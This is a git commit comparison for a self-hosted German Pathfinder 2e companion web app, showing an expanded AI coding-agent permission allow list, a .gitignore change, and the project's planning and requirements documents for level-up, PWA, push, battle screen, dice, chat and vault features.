Compare commits
45 Commits
15dc0d289a
...
a8c4944bb6
| Author | SHA1 | Date | |
|---|---|---|---|
| a8c4944bb6 | |||
| c5d40cdae8 | |||
| c283cda44d | |||
| d421aad4d4 | |||
| ce214ab70c | |||
| e85f790458 | |||
| d86cf4f434 | |||
| 29fe01df82 | |||
| 65676657fc | |||
| f703b2ed3f | |||
| 3e8698306b | |||
| 8b8e822e5b | |||
| 65fcebdbdb | |||
| 1e17225fa2 | |||
| 78a69c5f31 | |||
| de2ec38bf6 | |||
| df29617c3e | |||
| be6eaee6d0 | |||
| d9ed18c86c | |||
| de07fc8f78 | |||
| 70ec7bb3b7 | |||
| 6011024e87 | |||
| 8dd55b6fa9 | |||
| da82d9bf82 | |||
| 66d9d5cc0a | |||
| f1897501de | |||
| 3a4267da8c | |||
| 4d2cb5e529 | |||
| 7e40449e68 | |||
| 096edbf950 | |||
| 5a62ad8cae | |||
| caa4367105 | |||
| 588632fbc0 | |||
| e3064332cc | |||
| 96c81fa29d | |||
| 24a9562bf3 | |||
| eb1c57c908 | |||
| 72a22c1e2e | |||
| 785980fa31 | |||
| fcb65a58cd | |||
| ebe2bd478e | |||
| 5e332ad8ef | |||
| 12468bc69b | |||
| 6d7a5ba348 | |||
| 3e91d5713d |
@@ -2,7 +2,24 @@
|
||||
"permissions": {
|
||||
"allow": [
|
||||
"Bash(npx tsc:*)",
|
||||
"Bash(npm install:*)"
|
||||
"Bash(npm install:*)",
|
||||
"Bash(npm run db:migrate:dev:*)",
|
||||
"Bash(npm run db:seed:*)",
|
||||
"Bash(npx tsx:*)",
|
||||
"Bash(npm run db:generate:*)",
|
||||
"WebFetch(domain:docs.anthropic.com)",
|
||||
"Bash(npm run build:*)",
|
||||
"Bash(npm run db:seed:equipment:*)",
|
||||
"Bash(find:*)",
|
||||
"Bash(npx prisma migrate dev:*)",
|
||||
"WebFetch(domain:2e.aonprd.com)",
|
||||
"WebFetch(domain:rpgbot.net)",
|
||||
"Bash(node -e:*)",
|
||||
"Bash(npx ts-node:*)",
|
||||
"Bash(ssh:*)",
|
||||
"Bash(git add:*)",
|
||||
"Bash(git commit:*)",
|
||||
"Bash(git push)"
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
3
.gitignore
vendored
3
.gitignore
vendored
@@ -46,3 +46,6 @@ uploads/
|
||||
# Misc
|
||||
*.tgz
|
||||
.cache
|
||||
|
||||
# Phase 1 Wave 2 — Foundry pf2e dev clone (cloned manually by dev for seed script)
|
||||
server/prisma/data/foundry-pf2e/
|
||||
|
||||
139
.planning/PROJECT.md
Normal file
139
.planning/PROJECT.md
Normal file
@@ -0,0 +1,139 @@
|
||||
# Dimension47
|
||||
|
||||
## What This Is
|
||||
|
||||
Dimension47 ist eine selbst gehostete Web-App für Pathfinder-2e-Tischrunden auf Deutsch. Sie verwaltet Kampagnen, Charakterbögen mit komplettem PF2e-Regelumfang (HP, Zustände, Inventar, Talente, Aktionen, Alchemie) und stellt einen GM-Battle-Screen mit 3D-Druck-Tisch-Display bereit — alles in Echtzeit synchronisiert. Zielgruppe ist die eigene Spielgruppe, nicht die breite Öffentlichkeit.
|
||||
|
||||
## Core Value
|
||||
|
||||
Am Tisch funktioniert alles in Echtzeit und regelkonform: Spieler lesen ihren Charakterbogen am Handy, der GM steuert vom Laptop aus den Battle-Screen, der eingelassene Tisch-Display zeigt die Spielsicht — ohne Reibung, ohne falsche Werte, ohne Reload.
|
||||
|
||||
## Requirements
|
||||
|
||||
### Validated
|
||||
|
||||
<!-- Bestand aus existierender Codebase — abgeleitet aus `.planning/codebase/` und CLAUDE.md -->
|
||||
|
||||
- ✓ JWT-Auth mit Rollen (ADMIN/GM/PLAYER), Login-Persistenz, animierter Login-Screen — existing
|
||||
- ✓ Kampagnen-CRUD mit Mitgliederverwaltung und GM-Berechtigungen — existing
|
||||
- ✓ Pathbuilder-2e-Import als Charakter-Erstellungspfad — existing
|
||||
- ✓ HP-Management mit Schaden/Heilung/Direkt + Temp-HP, mobile-optimiert — existing
|
||||
- ✓ Zustände (Conditions) mit PF2e-Datenbank, hinzufügen/entfernen/aktualisieren — existing
|
||||
- ✓ Fertigkeiten mit deutschen Namen, Rettungswürfe, Wahrnehmung mit korrekter PF2e-Berechnung — existing
|
||||
- ✓ Inventar mit 5.482-Item-Equipment-DB, Bulk-Tracking, Belastung, Equip-Status, benutzerdefinierte Notizen — existing
|
||||
- ✓ Talente-Tab mit allen Charaktertalenten kategorisiert (Klasse/Abstammung/Allgemein/Fertigkeit/Bonus/Archetyp) — existing
|
||||
- ✓ Aktionen-Tab mit 99 PF2e-Aktionen, Suche, Aktionstyp-Icons — existing
|
||||
- ✓ Alchemie-Tab mit Phiolen, Formelbuch, Vorbereitung, Quick/Craft-Alchemy, Forschungsgebieten, infundierten Items — existing
|
||||
- ✓ Rest-System mit HP-Heilung, Zustands-Reduktion, Ressourcen-Reset, Alchemie-Reset — existing
|
||||
- ✓ HTML-Export des Charakterbogens — existing
|
||||
- ✓ WebSocket-Sync (Socket.io) für HP, Zustände, Inventar, Equip-Status, Geld, Level, Alchemie — existing
|
||||
- ✓ Battle-Screen MVP: Sessions, Map+Tokens mit Drag-Drop (GM), HP/Init pro Token, Round-Counter, WebSocket-Sync — existing
|
||||
- ✓ GM-Library für Battle-Maps und NPC-Templates (Combatants) — existing
|
||||
- ✓ Equipment-DB mit Kategorien-API und Such-Endpunkten — existing
|
||||
|
||||
### Active
|
||||
|
||||
<!-- Hypothesen für die nächste Ausbaustufe — werden in Phasen geschnitten und validiert. -->
|
||||
|
||||
**Level-Up-System (regelkonform PF2e)**
|
||||
- [ ] Charakter levelt regelkonform auf nächste Stufe mit allen Wahlpfaden (Attribute Boosts, Klassentalente, Allgemeine Talente, Fertigkeitstalente, Skill-Increases, Klassenmerkmale, Archetyp-Optionen)
|
||||
- [ ] Voraussetzungen werden validiert (z.B. Talent erfordert bestimmte Fertigkeitsstufe oder Vorgängertalent)
|
||||
- [ ] Level-Up ist undo-bar bis bestätigt; bestätigtes Level-Up erzeugt nachvollziehbare Änderung in Charakterhistorie
|
||||
- [ ] Stat-Recompute (HP-Max, Save-Boni, Skill-Boni, AC) folgt automatisch aus Level-Up-Wahlen
|
||||
|
||||
**Mobile-First-PWA**
|
||||
- [ ] App ist als PWA installierbar (Manifest, Icons, Splash, Service Worker)
|
||||
- [ ] Charakterbogen, Inventar, Talente, Aktionen, Alchemie sind offline lesbar (Cache-First für gelesene Charaktere)
|
||||
- [ ] Web-Push-Notifications für GM→Spieler-Pings (Würfelaufforderung, Battle-Turn-Alert, Custom-Nachrichten)
|
||||
- [ ] Bestehende Charakter-Screens werden auf Mobile-First-Touch-Targets und Layout durchgegangen, wo nötig poliert
|
||||
|
||||
**Battle-Screen-Ausbau (GM-Laptop + Tisch-Display)**
|
||||
- [ ] Separater Display-Mode (read-only Player-View) auf eigener Route, optimiert für eingelassenen Tisch-Bildschirm — zeigt nur Map, Tokens, Initiative-Reihenfolge, Token-Status
|
||||
- [ ] Initiative-Tracker als sortierte Liste mit „Wer ist dran"-Highlight, nicht nur Badges auf Tokens
|
||||
- [ ] Effekte/Auren/Buffs/Debuffs pro Token (Modell + UI + Echtzeit-Sync)
|
||||
- [ ] Token-Add/Remove als WebSocket-Event (heute nur Query-Invalidate)
|
||||
- [ ] Touch-/Tablet-Steuerung am GM-Laptop ist nutzbar (kein Pflicht-Mobile, aber auch nicht kaputt)
|
||||
|
||||
**Würfeln & Chat in Echtzeit**
|
||||
- [ ] In-App-Würfler mit PF2e-Notation (z.B. `1d20+7`, Crit-Erkennung, Persistent Damage)
|
||||
- [ ] Roll-Log pro Kampagne und pro Battle-Session, sichtbar für alle Teilnehmer
|
||||
- [ ] In-Game-Chat pro Kampagne und Battle, Echtzeit, mit Roll-Einbettung
|
||||
|
||||
**GM-Live-Tools**
|
||||
- [ ] GM kann live HP/Conditions/Items/Geld bei Spieler-Charakteren setzen (über bestehendes WebSocket-Modell, neue GM-UI)
|
||||
- [ ] GM kann gezielte Push-/Chat-Nachrichten an einzelne oder alle Spieler senden
|
||||
|
||||
**Obsidian-Vault-Anbindung (Read-only Browser)**
|
||||
- [ ] App liest Markdown aus selbst-gehostetem Vault-Endpoint (vermutlich eigener Server, Protokoll noch zu wählen)
|
||||
- [ ] Vault-Browser in der App: Ordner-Navigation, Datei-Lesen, Suche
|
||||
- [ ] Markdown-Rendering inkl. Wikilinks (klickbar zu anderer Note), eingebetteten Bildern, Code-Blöcken
|
||||
- [ ] Vault-Inhalte sind auch offline lesbar (zuletzt gelesene Notes gecacht)
|
||||
|
||||
### Out of Scope
|
||||
|
||||
- **Bidirektionales Vault-Sync** — schreibender Zugriff in den Vault wurde bewusst auf später verschoben; reine Lese-App reicht für aktuelle Nutzung
|
||||
- **Offline-Bearbeiten mit Sync-Queue** — kein Edit ohne Netz; Offline-Modus deckt nur Lesen ab. Konflikt-Logik wäre teuer und das Spiel passiert sowieso live am Tisch
|
||||
- **Native iOS/Android-App über Capacitor o.ä.** — Web Push reicht; PWA-Installation ersetzt Native-App-Bedürfnis
|
||||
- **Charakter-Erstellung von null in der App** — Pathbuilder-Import bleibt der Erstellungspfad; in-App-Erstellung wäre Doppelarbeit
|
||||
- **Andere TTRPG-Systeme als PF2e** — Datenmodell und UI sind PF2e-spezifisch, kein Generalisierungs-Ziel
|
||||
- **Öffentlicher Mehrmandanten-Betrieb** — App läuft für die eigene Gruppe selbst gehostet; kein Account-Onboarding-Flow, keine Marketing-Site
|
||||
- **Presence/Awareness-Indikatoren** („wer ist online", „wer schaut wo hin") — wurde bewusst aus den geplanten WebSocket-Erweiterungen ausgeschlossen, weil Mehrwert klein und Komplexität hoch
|
||||
|
||||
## Context
|
||||
|
||||
**Bestehende Codebase:** Reife Brownfield-App. NestJS 11 + React 19 + Prisma 7 + PostgreSQL + Socket.io + Tailwind v4. TypeScript strict mode überall. Codebase ist gemappt unter `.planning/codebase/` (ARCHITECTURE.md, STACK.md, STRUCTURE.md, CONVENTIONS.md, INTEGRATIONS.md, CONCERNS.md, TESTING.md).
|
||||
|
||||
**Domain-Spezifika:**
|
||||
- PF2e ist regelseitig komplex (Action-Economy, drei Aktionen pro Runde, Proficiency-Stufen, Boost-Regeln alle 5 Level, Archetypen, Free Archetype). Equipment-DB hat 5.482 Items, Aktionen-DB hat 99 Einträge, deutsche Übersetzungen werden via Claude-API on-demand generiert und in Translation-Tabelle gecacht.
|
||||
- Spielgruppe nutzt 3D-gedruckte Miniaturen auf einem in den Spieltisch eingelassenen Bildschirm. Battle-Screen muss zwei Sichten bedienen: GM-Steuerung (Laptop) und Tisch-Display (read-only Spielsicht).
|
||||
|
||||
**Current state:**
|
||||
- Battle-Screen ist heute nicht mobil benutzbar (fixe Sidebar-Layouts, Maus-Drag-Drop, kein Display-Mode). Bewusst gewollt — bleibt Laptop+Tisch-Bildschirm-Anwendung.
|
||||
- Charakterbogen ist heute mobile-optimiert mit 44 px+ Touch-Targets.
|
||||
- WebSocket-Infrastruktur ist solide — Erweiterungen folgen bestehendem Gateway-Pattern.
|
||||
|
||||
**Philosophie (aus CLAUDE.md übernommen):** Qualität vor Geschwindigkeit. Keine Shortcuts. Prisma-Migrations statt `db push`. Daten in DB, nicht aus JSON. Proper Error Handling. Keine `any`-Types. Deutsch in der UI. Keine Emojis.
|
||||
|
||||
## Constraints
|
||||
|
||||
- **Tech-Stack**: NestJS 11 + React 19 + Prisma 7 + PostgreSQL + Socket.io + Tailwind v4 — gesetzt durch Bestand, kein Stack-Wechsel sinnvoll
|
||||
- **Sprache**: Deutsche UI durchgehend — alle neuen Texte ebenfalls Deutsch
|
||||
- **Design**: Mobile-First für alle nutzerseitigen Screens (Charakterbogen, Vault-Browser, Würfler, Chat); Battle-GM-Screen darf desktop-fokussiert bleiben; Tisch-Display ist eigener Layout-Modus
|
||||
- **Daten-Persistenz**: Alle PF2e-Daten gehören in die DB (Prisma-Seeds aus JSON), nichts wird zur Laufzeit aus JSON-Dateien gelesen
|
||||
- **Migrationen**: Schema-Änderungen ausschließlich über `prisma migrate dev`, niemals `db push`
|
||||
- **Code-Qualität**: TypeScript strict, keine `any`-Types, kein Quick-Fix der später wehtut
|
||||
- **Hosting-Modell**: Self-hosted für eigene Spielgruppe — keine Multi-Tenant-/SaaS-Anforderungen
|
||||
- **Push-Plattform**: Web Push (Service-Worker-basiert), kein FCM/APNs-Native-Wrapper
|
||||
- **Vault-Endpoint**: Selbst-gehosteter Endpoint (vermutlich auf eigenem Server) — konkretes Protokoll wird in der Vault-Phase entschieden, nicht jetzt
|
||||
|
||||
## Key Decisions
|
||||
|
||||
| Decision | Rationale | Outcome |
|
||||
|----------|-----------|---------|
|
||||
| Level-Up wird voll regelkonform implementiert (statt Re-Import-only) | Volle Kontrolle in der App, weniger Reibung am Tisch, validierte Werte | — Pending |
|
||||
| PWA mit Web Push, kein Native-Wrapper | Funktioniert plattformübergreifend (Android-Chrome, iOS-Safari ab installierter PWA), kein Build-/Store-Aufwand | — Pending |
|
||||
| Offline-Bearbeiten ist explizit raus, nur Offline-Lesen | Konflikt-Logik wäre teuer; Spielsessions sind online | — Pending |
|
||||
| Battle-Screen bleibt Laptop+Tisch-Display, kein Pflicht-Mobile | Spielablauf am realen Tisch mit 3D-Minis braucht großen Screen | — Pending |
|
||||
| Obsidian-Anbindung ist v1 nur lesend | Lesen deckt 100 % des aktuellen Bedarfs; Schreiben verdoppelt Komplexität | — Pending |
|
||||
| Vault wird selbst-gehostet (statt Git-Repo / Cloud-Storage) | User hat eigenen Server; passt zum Self-Hosted-Charakter der App | — Pending |
|
||||
| Keine Eile, Qualität zählt | Übernommen aus CLAUDE.md-Philosophie; bestimmt Phasen-Schnitt (lieber breite Phasen sauber als hektisch) | — Pending |
|
||||
|
||||
## Evolution
|
||||
|
||||
This document evolves at phase transitions and milestone boundaries.
|
||||
|
||||
**After each phase transition** (via `/gsd-transition`):
|
||||
1. Requirements invalidated? → Move to Out of Scope with reason
|
||||
2. Requirements validated? → Move to Validated with phase reference
|
||||
3. New requirements emerged? → Add to Active
|
||||
4. Decisions to log? → Add to Key Decisions
|
||||
5. "What This Is" still accurate? → Update if drifted
|
||||
|
||||
**After each milestone** (via `/gsd-complete-milestone`):
|
||||
1. Full review of all sections
|
||||
2. Core Value check — still the right priority?
|
||||
3. Audit Out of Scope — reasons still valid?
|
||||
4. Update Context with current state
|
||||
|
||||
---
|
||||
*Last updated: 2026-04-27 after initialization*
|
||||
238
.planning/REQUIREMENTS.md
Normal file
238
.planning/REQUIREMENTS.md
Normal file
@@ -0,0 +1,238 @@
|
||||
# Requirements: Dimension47 — Milestone "PWA-Companion"
|
||||
|
||||
**Defined:** 2026-04-27
|
||||
**Core Value:** Am Tisch funktioniert alles in Echtzeit und regelkonform: Spieler lesen ihren Charakterbogen am Handy, der GM steuert vom Laptop aus den Battle-Screen, der eingelassene Tisch-Display zeigt die Spielsicht — ohne Reibung, ohne falsche Werte, ohne Reload.
|
||||
|
||||
## v1 Requirements
|
||||
|
||||
### Level-Up (PF2e regelkonform)
|
||||
|
||||
- [ ] **LVL-01**: User startet Level-Up auf einem Charakter und sieht einen Wizard mit allen für das neue Level relevanten Wahlpunkten
|
||||
- [ ] **LVL-02**: Attribute Boosts auf Level 5/10/15/20 werden angeboten (4 Boosts pro Boost-Level, +2 unter 18, +1 ab 18; HP-/Skill-Recompute folgt)
|
||||
- [ ] **LVL-03**: Klassentalent-Wahl an jedem geraden Level mit Filter nach Klasse + Level + Voraussetzungen
|
||||
- [ ] **LVL-04**: Fertigkeitstalent-Wahl an jedem geraden Level mit Voraussetzungs-Filter (Übungsstufe, benannte Fertigkeit)
|
||||
- [ ] **LVL-05**: Allgemein-Talent-Wahl an Level 3/7/11/15/19 (Fertigkeitstalente sind optional als Allgemein-Talent wählbar)
|
||||
- [ ] **LVL-06**: Skill-Increase an Level 3 und jedem 2. Level danach mit Cap-Regel (Trained→Expert ab L3, Expert→Master ab L7, Master→Legendary ab L15)
|
||||
- [ ] **LVL-07**: Ancestry-Talent-Wahl an Level 5/9/13/17 mit Filter nach Abstammung + Heritage + Voraussetzungen
|
||||
- [ ] **LVL-08**: Klassenmerkmale werden automatisch aus Class-Progression-Tabelle pro Klasse + Level angewendet (neue DB-Tabelle, gefüttert aus PF2e-Quelldaten)
|
||||
- [ ] **LVL-09**: Voraussetzungen werden über einen DSL-Evaluator geprüft; nicht-evaluierbare Voraussetzungen erscheinen als Warnung, kein Hard-Block
|
||||
- [ ] **LVL-10**: Abgeleitete Werte werden automatisch neu berechnet (HP-Max, Save-Proficiency, AC-Proficiency, Klassen-DC, Wahrnehmung)
|
||||
- [ ] **LVL-11**: User kann den Level-Up-Wizard jederzeit abbrechen oder bisherige Wahlen rückgängig machen, bevor er bestätigt (Draft-Session)
|
||||
- [ ] **LVL-12**: Bestätigtes Level-Up wird atomar persistiert (Transaction) und erzeugt einen nachvollziehbaren Historieneintrag (Snapshot-Before in JSON)
|
||||
- [ ] **LVL-13**: Free-Archetype-Variante kann pro Charakter aktiviert werden; aktiviert zweiten Talent-Slot, der bis zur Dedication frei wählbar und danach archetype-restricted ist
|
||||
- [ ] **LVL-14**: Spellcaster bekommen Slot- und Cantrip-Progression nach Klasse/Tradition; spontane Caster zusätzlich Repertoire-Increment
|
||||
- [ ] **LVL-15**: Deutsche Übersetzungen für neue Talent-Voraussetzungs-Texte und Klassenmerkmal-Beschreibungen werden via bestehender Translation-Pipeline (Claude API + DB-Cache) bereitgestellt
|
||||
|
||||
### PWA Foundation
|
||||
|
||||
- [ ] **PWA-01**: App ist als PWA installierbar (Web App Manifest, Pflicht-Icon-Größen inkl. maskable, Splash, `display: standalone`)
|
||||
- [ ] **PWA-02**: Service Worker via `vite-plugin-pwa` mit `injectManifest`-Strategie; user-scoped Cache-Keys verhindern Cross-User-Cache-Leak
|
||||
- [ ] **PWA-03**: Add-to-Home-Screen-Flow auf Android nutzt `beforeinstallprompt`
|
||||
- [ ] **PWA-04**: Add-to-Home-Screen-Flow auf iOS zeigt geführte Anleitung (Overlay mit Safari-Schritten), da kein programmatischer Prompt verfügbar
|
||||
- [ ] **PWA-05**: Charakterbogen ist offline lesbar (Cache-First für GET `/characters/:id` + abgeleitete Endpunkte)
|
||||
- [ ] **PWA-06**: Inventar, Talente, Aktionen, Alchemie eines bereits geladenen Charakters sind offline lesbar
|
||||
- [ ] **PWA-07**: Service Worker zeigt "Neue Version verfügbar"-Hinweis mit manueller User-Bestätigung; **kein** automatisches `skipWaiting()`
|
||||
- [ ] **PWA-08**: Service-Worker-Update wird während aktiver Battle-Session unterdrückt (kein Mid-Fight-Reload)
|
||||
- [ ] **PWA-09**: TanStack Query persistiert Cache via `idb-keyval` für Offline-Reads über bestehende Hooks
|
||||
- [ ] **PWA-10**: SW-Cache-Einträge werden bei Live-Update-Events via `postMessage` aus Socket-Hooks invalidiert
|
||||
|
||||
### Web Push
|
||||
|
||||
- [ ] **PUSH-01**: Server hat persistente VAPID-Keys (env-konfiguriert, dokumentiertes Rotations-Verfahren)
|
||||
- [ ] **PUSH-02**: User opt-in für Push erfolgt nach expliziter Aktion (Settings-Schalter o.ä.), nicht beim ersten Load
|
||||
- [ ] **PUSH-03**: Push-Subscription wird pro User + Device persistiert (`PushSubscription`-Tabelle, mehrere Devices pro User möglich)
|
||||
- [ ] **PUSH-04**: Service Worker verarbeitet `push`-Events und zeigt Notification mit Titel, Body, Icon, Action-Link
|
||||
- [ ] **PUSH-05**: Server entfernt abgelaufene/ungültige Subscriptions (410 Gone Handling beim Send)
|
||||
- [ ] **PUSH-06**: GM kann gezielten Push an einen einzelnen Spieler oder an alle Spieler einer Kampagne senden
|
||||
- [ ] **PUSH-07**: System sendet Battle-Turn-Alert per Push automatisch, wenn Initiative auf den Charakter eines Spielers wechselt
|
||||
- [ ] **PUSH-08**: Push-Payload enthält Deep-Link in die App (Battle / Charakter / Chat öffnet sich beim Tap)
|
||||
|
||||
### Battle Multi-Screen Ausbau
|
||||
|
||||
- [ ] **BAT-01**: Eigene Display-Route `/battle/:id/display` rendert read-only Spielsicht (keine GM-Controls, keine Drag-Handles, kein GM-Sidebar-Panel)
|
||||
- [ ] **BAT-02**: Server hält separate Sub-Rooms `battle:<id>:gm` und `battle:<id>:display`; GM-only-Daten werden serverseitig gefiltert, **nicht** clientseitig per Prop ausgeblendet
|
||||
- [ ] **BAT-03**: Display-Mode hat eigenes Auth-Modell (kurzlebiger Display-Token oder dedizierter Display-Pseudo-User), URL-Share leakt keine Daten
|
||||
- [ ] **BAT-04**: Display-Layout ist für querformatigen, eingelassenen Tisch-Bildschirm optimiert (große Schrift, keine Touch-Steuerung nötig)
|
||||
- [ ] **BAT-05**: Initiative-Tracker erscheint als sortierte Liste mit "Wer ist dran"-Highlight, sichtbar in GM- und Display-Mode
|
||||
- [ ] **BAT-06**: GM-"Nächster Zug"-Button rückt Initiative weiter; Event broadcastet an alle Clients (GM + Display + Spieler)
|
||||
- [ ] **BAT-07**: Token-Effekte/-Auren/-Buffs/-Debuffs als Datenmodell (`BattleEffect`-Tabelle mit FK auf Token, Name, optionaler Dauer in Runden)
|
||||
- [ ] **BAT-08**: GM kann Effekte pro Token hinzufügen, entfernen und aktualisieren über Battle-Sidebar
|
||||
- [ ] **BAT-09**: Token-Effekte sind auf Display-Mode sichtbar (Icon/Badge am Token + Liste in der Initiative-Karte)
|
||||
- [ ] **BAT-10**: Token-Add und Token-Remove laufen als WebSocket-Events (`token:added`, `token:removed`); keine Query-Invalidation als Workaround
|
||||
- [ ] **BAT-11**: GM-Control-Layout läuft auf Touch-Tablets benutzbar (Targets ≥ 44 px, kein Pflicht-Mobile-Layout, aber funktional)
|
||||
|
||||
### Würfeln
|
||||
|
||||
- [ ] **DICE-01**: User kann PF2e-Notation eingeben und werfen (z.B. `1d20+7`, `2d6+3`, `4d6kh3`); Parser via `@dice-roller/rpg-dice-roller`
|
||||
- [ ] **DICE-02**: Würfeln ist server-authoritativ (Server würfelt mit `crypto.randomInt`, broadcastet Ergebnis; kein Client-Tampering möglich)
|
||||
- [ ] **DICE-03**: System berechnet PF2e Degree of Success (Crit Success, Success, Failure, Crit Failure) gegen optionale DC mit ±10-Regel
|
||||
- [ ] **DICE-04**: Schaden-Rolls verdoppeln auf Crit die Würfel-Anzahl, **nicht** die Modifikatoren (PF2e-Regel)
|
||||
- [ ] **DICE-05**: Würfe werden in `DiceRoll`-Tabelle persistiert, scoped pro Kampagne und (optional) Battle-Session
|
||||
- [ ] **DICE-06**: Roll-Log ist live für alle Teilnehmer einer Kampagne/Battle (WebSocket-Broadcast über Dice-Gateway)
|
||||
- [ ] **DICE-07**: Jeder Roll trägt Zuordnung: User + Charakter + Label (z.B. "Athletik-Probe") + Zeitstempel + optionale DC
|
||||
|
||||
### Chat
|
||||
|
||||
- [ ] **CHAT-01**: User kann Textnachrichten in einer Kampagne posten (live für alle Mitglieder)
|
||||
- [ ] **CHAT-02**: User kann Textnachrichten in einer Battle-Session posten (live für alle Teilnehmer)
|
||||
- [ ] **CHAT-03**: Chat-Nachrichten werden in `ChatMessage`-Tabelle persistiert (scoped pro Kampagne und/oder Battle)
|
||||
- [ ] **CHAT-04**: Chat-Markdown wird mit `react-markdown` + `rehype-sanitize` gerendert; **kein** `dangerouslySetInnerHTML` ohne Sanitizer
|
||||
- [ ] **CHAT-05**: Würfelergebnisse werden inline im Chat eingebettet (FK `embedRollId` von ChatMessage auf DiceRoll)
|
||||
- [ ] **CHAT-06**: Chat-Verlauf lädt paginiert (Initial + Scroll-Back via Cursor)
|
||||
|
||||
### GM Live-Tools
|
||||
|
||||
- [ ] **GM-01**: GM-Live-Tools-Panel ist als eigene UI-Surface zugänglich (für eingeloggten GM einer Kampagne)
|
||||
- [ ] **GM-02**: GM kann HP eines Spieler-Charakters live setzen (Schaden, Heilung, Direktwert) — nutzt bestehende Char-Events
|
||||
- [ ] **GM-03**: GM kann Conditions auf Spieler-Charakter live hinzufügen, entfernen, aktualisieren
|
||||
- [ ] **GM-04**: GM kann Items aus Equipment-DB an Spieler-Charakter geben (Suche → Auswahl → Übergabe live)
|
||||
- [ ] **GM-05**: GM kann Geld (Credits) eines Spieler-Charakters live anpassen
|
||||
- [ ] **GM-06**: Server-seitige Authorisierung prüft auf allen GM-Live-Tool-Events "Aktor ist GM dieser Kampagne"; bestehende Char-WebSocket-Events werden auditiert und ggf. abgesichert
|
||||
- [ ] **GM-07**: Destruktive Aktionen (z.B. HP auf 0 setzen, Item löschen) erfordern zweistufige Bestätigung
|
||||
- [ ] **GM-08**: GM kann gezielte Push-/Chat-Nachricht an einen Spieler oder alle Spieler senden (kombiniert PUSH-06 + CHAT-01)
|
||||
|
||||
### Obsidian Vault (Read-only)
|
||||
|
||||
- [ ] **VAULT-01**: System verbindet zu einem selbst-gehosteten Vault-Endpoint; konkretes Transport-Protokoll wird in der Vault-Discuss-Phase entschieden (Default-Empfehlung: WebDAV-Proxy via NestJS)
|
||||
- [ ] **VAULT-02**: Vault-Browser zeigt Ordner-Tree-Navigation aus server-seitiger Listing-API
|
||||
- [ ] **VAULT-03**: User kann eine Markdown-Datei aus dem Vault öffnen und gerendert lesen (CommonMark + GFM Tabellen/Codeblöcke/Bilder)
|
||||
- [ ] **VAULT-04**: Wikilinks `[[Note]]` und `[[Note|Alias]]` werden als klickbare Links gerendert (Obsidian-Shortest-Path-Auflösung via `@portaljs/remark-wiki-link`)
|
||||
- [ ] **VAULT-05**: Bild-Embeds `![[image.png]]` werden gerendert; Bilder via Vault-Endpoint geladen (kein direkter Browser-Zugriff auf Vault-Server)
|
||||
- [ ] **VAULT-06**: Vault-Volltextsuche durchsucht Markdown-Inhalte (server-seitig, Postgres FTS oder vergleichbar)
|
||||
- [ ] **VAULT-07**: Server validiert alle Pfade gegen Path-Traversal (kein Escape via `../` aus Vault-Root)
|
||||
- [ ] **VAULT-08**: Zuletzt gelesene Notes (LRU) werden im Service Worker gecacht für Offline-Read
|
||||
- [ ] **VAULT-09**: Markdown-Renderer nutzt Sanitizer durchgehend (DOMPurify oder rehype-sanitize); kein `rehype-raw` ohne Sanitization
|
||||
- [ ] **VAULT-10**: Vault-Endpoint-Authentifizierung läuft serverseitig über bestehende JWT-Auth; Vault-Credentials werden nie an den Browser ausgeliefert
|
||||
|
||||
## v2 Requirements
|
||||
|
||||
Verschoben — anerkannt, aber nicht in dieser Roadmap.
|
||||
|
||||
### Level-Up Erweiterungen
|
||||
|
||||
- **LVL-V2-01**: Level-Up-Historie-Ansicht im Charakterbogen (Was wurde an welchem Level gewählt?)
|
||||
- **LVL-V2-02**: Reverse-Level-Up — bestätigtes Level rückgängig machen
|
||||
|
||||
### Battle Polish
|
||||
|
||||
- **BAT-V2-01**: Cinematic Display-Theme (off-turn dim, large active-turn-card)
|
||||
- **BAT-V2-02**: Animierte Push-Ping-Ankunft mit Vibration + In-App-Initiative-Card-Overlay
|
||||
|
||||
### Würfeln Polish
|
||||
|
||||
- **DICE-V2-01**: GM "Würfelaufforderung anfragen" (kombinierter Push + vorbefüllter Würfel-Button beim Spieler)
|
||||
- **DICE-V2-02**: Roll-History-Export als HTML/PDF (analog Charakterbogen-Export)
|
||||
- **DICE-V2-03**: Auto-Anwendung von Conditions aus Zaubern/Angriffen bei kritischem Erfolg
|
||||
|
||||
### Vault Erweiterungen
|
||||
|
||||
- **VAULT-V2-01**: Frontmatter-NPC-Chips (`npc: true` Notes erscheinen als Hover-Chips in Chat/Battle)
|
||||
- **VAULT-V2-02**: Vault-Offline-FlexSearch-Index für vollständige Offline-Suche
|
||||
|
||||
## Out of Scope
|
||||
|
||||
| Feature | Grund |
|
||||
|---------|-------|
|
||||
| Bidirektionales Vault-Sync | Read-only deckt aktuellen Bedarf; Write-Konflikte sind eigenes Produkt |
|
||||
| Offline-Edit + Sync-Queue | Last-write-wins-Korruption; Spielsessions sind online; Komplexität ohne Mehrwert |
|
||||
| Native iOS/Android-App (Capacitor) | Web Push reicht; PWA-Install ersetzt Native-Bedürfnis; doppelte Codebases |
|
||||
| In-App-Charakter-Erstellung von null | Pathbuilder-Import bleibt der Erstellungspfad; Doppelarbeit gegen 5 Jahre Pathbuilder-Reife |
|
||||
| Andere TTRPG-Systeme als PF2e | Datenmodell und UI sind PF2e-spezifisch; Generalisierung kostet Schärfe |
|
||||
| Öffentlicher Multi-Tenant-Betrieb | Self-hosted für eigene Gruppe; kein Onboarding-Flow nötig |
|
||||
| Presence/Awareness-Indikatoren | Wert klein vs WebSocket-Komplexität, besonders bei Mobile-Lockscreen |
|
||||
| Fog of War / Dynamic Lighting / Token Vision | Spiel passiert in Person mit 3D-Minis auf Tisch-Display; obsolet |
|
||||
| Voice/Video-Chat | Discord existiert und funktioniert |
|
||||
| 3D-Würfel-Physik mit Animation | Burns CPU, lenkt vom Tisch ab; echte Würfel liegen daneben |
|
||||
| Real-time kollaboratives Vault-Editing | Read-only ist explizit Scope-Grenze |
|
||||
| AI-NPCs / AI-Encounter-Generierung | Vault liefert die GM-Vorbereitung |
|
||||
| Auto-Apply Attack-Rolls auf Enemy-HP | Hohe Datenmodell-Kosten; GM macht das via Live-Tools manuell |
|
||||
| Marketplace für Maps/NPCs | Single-Tenant, keine Sharing-Anforderung |
|
||||
|
||||
## Traceability
|
||||
|
||||
| Requirement | Phase | Status |
|
||||
|-------------|-------|--------|
|
||||
| LVL-01 | Phase 1 | Pending |
|
||||
| LVL-02 | Phase 1 | Pending |
|
||||
| LVL-03 | Phase 1 | Pending |
|
||||
| LVL-04 | Phase 1 | Pending |
|
||||
| LVL-05 | Phase 1 | Pending |
|
||||
| LVL-06 | Phase 1 | Pending |
|
||||
